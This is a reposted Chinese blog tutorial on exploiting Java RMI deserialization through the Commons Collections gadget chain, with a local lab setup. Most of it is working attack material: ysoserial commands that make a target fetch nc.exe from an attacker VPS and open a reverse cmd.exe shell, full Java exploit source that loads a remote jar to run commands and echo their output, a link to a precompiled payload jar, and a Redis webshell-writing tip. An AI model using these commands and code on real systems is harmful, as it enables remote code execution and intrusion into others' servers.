转载

Java RMI 利用入门学习

Windows中遇到了Java RMI,反弹又不那么方便,这时该如何利用呢? It’s a question。 正好加强Java学习了。

0x00 预备知识理解

Java RMI——Java远程调用提供了不同机器之间进行对象方法访问的能力,这样的构架允许一台机器的对象访问另一台机器的对象方法,而这种远程调用必然需要传递对象数据结构,因此就需要序列化和反序列化,在此过程中,如果服务器上可以被使用的对象存在漏洞,通过客户端构造相应的序列化数据就可以触发漏洞。

Apache Common Collections Java的第三方库,提供更加强大的集合数据结构。它的一段代码中存在调用方法和对象可控的情况,因此可以实现命令执行。在这种情况下,这个第三方包无论用或者没用,都有可能被开发者打包进程序,成为程序中存在的对象,结合RMI机制,攻击者就有可能调用到这些危险的对象。

Java 8版本121更新后对RMI注册类进行了限制,因此需要寻找白名单内的类存在漏洞的情况,参考文献中列出了收集到的解决方法。

0x01 测试环境搭建

避开Java版本的坑之后,测试环境很好完成,写一个RMI服务器,放入Common Collections第三方包,启动服务器即可,详细实现代码如下:

RMIInterface 接口

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIInterface extends Remote {
    String sayHello() throws RemoteException;
}

RMIServer 服务器

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer implements RMIInterface {
    public String sayHello() {
        return "Hello World!";
    }

    public static void main(String args[]) {
        try {
            RMIServer obj = new RMIServer();
			RMIInterface stub = (RMIInterface) UnicastRemoteObject.exportObject((Remote) obj, 0);
			LocateRegistry.createRegistry(1099);
			Registry registry = LocateRegistry.getRegistry();
			registry.bind("Hello", stub);
			System.out.println("Server Start!");
        } catch (Exception e) {
			e.printStackTrace();
		}
    }
}

再将Common Collections放入开发环境的External lib中。这样启动起来的服务器已经可以被用来测试漏洞了。

0x02 Ysoserial工具与测试利用

java -cp ./ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsColections1 "calc"

网上最常见的用法,我们对这条命令逐个分析。

作为一款通用的Java反序列化利用工具,Yso具有广泛的功能,我们这里主要聚焦于它的exploit和payloads两部分。

由上面的分析我们知道,这一类的漏洞需要两部分来完成,协议交互部分完成与服务器的交互,这一部分由exploit来完成,payloads则提供进行反序列化的对象以及相应的攻击功能。

exploit中重点来看RMIRegistryExploit的代码,另外会尝试运行JRMPClient和JRMPListener,先知也有相关模块的分析文章。

RMIRegistryExploit,从名字就可以看出,主要是通过RMI的Registry来进行交互。main函数部分就是一个和RMI服务器进行通信的客户端

Java RMI 利用入门学习

其中exploit函数负责生成类的实例,并且嵌入执行命令,再使用动态代理的方式进行传递。

再来看CommonsColections1的部分,核心的部分在getObject中,这里实际上就是走了一遍CommonsCollection RCE的链,将用户的执行命令放入到相应的对象调用中,再经过序列化处理。

##0x03 如何在Windows下实现回显命令执行

DNS查询很容易,但是如何能够更好的执行命令并回显呢?

在当时测试的时候,为了快捷,使用了远程下载nc+执行nc反弹的方式回弹shell。

java -cp ./ysoserial.jar ysoserial.exploit.RMIRegistryExploit 测试机器IP 1099
CommonsCollections1 "certutil -urlcache -split -f http://VPS IP/nc.exe"

java -cp ./ysoserial.jar ysoserial.exploit.RMIRegistryExploit 测试机器IP 1099
CommonsCollections1 "D://nc.exe -t -e c://windows//system32//cmd.exe VPS-IP 65534"

后来查询资料发现了其他能够回显的玩法,基本有以下几种想法,

  1. 能否在这里执行java代码,利用java的方式直接反弹shell
  2. 利用URLClassLoader,远程加载自定义类,接收到报错返回的执行结果。

具体代码如下(来自先知社区),首先是远程加载的自定义类

ErrorBaseExec.jar

package exploit;

import java.io.*;

public class ErrorBaseExec {
    public static byte[] readBytes(InputStream in) throws IOException {
        BufferedInputStream bufin = new BufferedInputStream(in);
        int buffSize = 1024;
        ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);
        byte[] temp = new byte[buffSize];
        int size = 0;

        while ((size = bufin.read(temp)) != -1) {
            out.write(temp, 0, size);
        }

        bufin.close();

        byte[] content = out.toByteArray();

        return content;
    }

    public static void do_exec(String cmd) throws Exception {

        final Process p = Runtime.getRuntime().exec(cmd);
        final byte[] stderr = readBytes(p.getErrorStream());
        final byte[] stdout = readBytes(p.getInputStream());
        final int exitValue = p.waitFor();

        if (exitValue == 0) {
            throw new Exception("-----------------/r/n" + (new String(stdout)) + "-----------------/r/n");
        } else {
            throw new Exception("-----------------/r/n" + (new String(stderr)) + "-----------------/r/n");
        }

    }

    public static void main(final String[] args) throws Exception {
        do_exec("whoami");
    }
}

RMIexploit

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.net.URLClassLoader;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class RMIexploit {
    public static Constructor<?> getFirstCtor(final String name)
            throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);

        return ctor;
    }

    public static void main(String[] args) throws Exception {
        if (args.length < 4) {
            System.out.println(
                    "        Usage: java -jar RMIexploit.jar ip port jarfile command");
            System.out.println(
                    "        Example: java -jar RMIexploit.jar 123.123.123.123 1099 http://1.1.1.1.1/ErrorBaseExec.jar /"ls -l/"");

            return;
        }

        String ip = args[0];
        int port = Integer.parseInt(args[1]);
        String remotejar = args[2];
        String command = args[3];
        final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

        try {
            final Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(java.net.URLClassLoader.class),
                    new InvokerTransformer("getConstructor",
                            new Class[] { Class[].class },
                            new Object[] { new Class[] { java.net.URL[].class } }),
                    new InvokerTransformer("newInstance",
                            new Class[] { Object[].class },
                            new Object[] {
                                    new Object[] {
                                            new java.net.URL[] { new java.net.URL(remotejar) }
                                    }
                            }),
                    new InvokerTransformer("loadClass",
                            new Class[] { String.class },
                            new Object[] { "exploit.ErrorBaseExec" }),
                    new InvokerTransformer("getMethod",
                            new Class[] { String.class, Class[].class },
                            new Object[] { "do_exec", new Class[] { String.class } }),
                    new InvokerTransformer("invoke",
                            new Class[] { Object.class, Object[].class },
                            new Object[] { null, new String[] { command } })
            };
            Transformer transformedChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value", "value");

            Map outerMap = TransformedMap.decorate(innerMap, null,
                    transformedChain);
            Class cl = Class.forName(
                    "sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);

            Object instance = ctor.newInstance(Target.class, outerMap);
            Registry registry = LocateRegistry.getRegistry(ip, port);
            InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
                    .newInstance(Target.class,
                            outerMap);
            Remote r = Remote.class.cast(Proxy.newProxyInstance(
                    Remote.class.getClassLoader(),
                    new Class[] { Remote.class }, h));
            registry.bind("pwned", r);
        } catch (Exception e) {
            try {
                System.out.print(e.getCause().getCause().getCause().getMessage());
            } catch (Exception ee) {
                throw e;
            }
        }
    }
}

打包之后执行回显成功回显,我编译的时候还遇到两个问题,一个是需要满足JDK的版本要求,如果服务器JDK版本太低,客户端太高时会报版本不匹配;另一个是命令执行回显过多时会无法返回信息,还需调整。

Java RMI 利用入门学习

这里也放上我编译好的远程Jar

http://phantom0301.cc/remote.jar

0xff(彩蛋) Redis Windows下写shell的小tip

Redis在进行持久化的时候,默认会进行压缩,由于压缩导致写入的字符串存在乱码,有些乱码会影响文件解析,这时我们可以通过以下命令取消压缩。

config set rdbcompression no
原文  http://phantom0301.cc/2018/11/30/java-rmi-windows/
正文到此结束
Loading...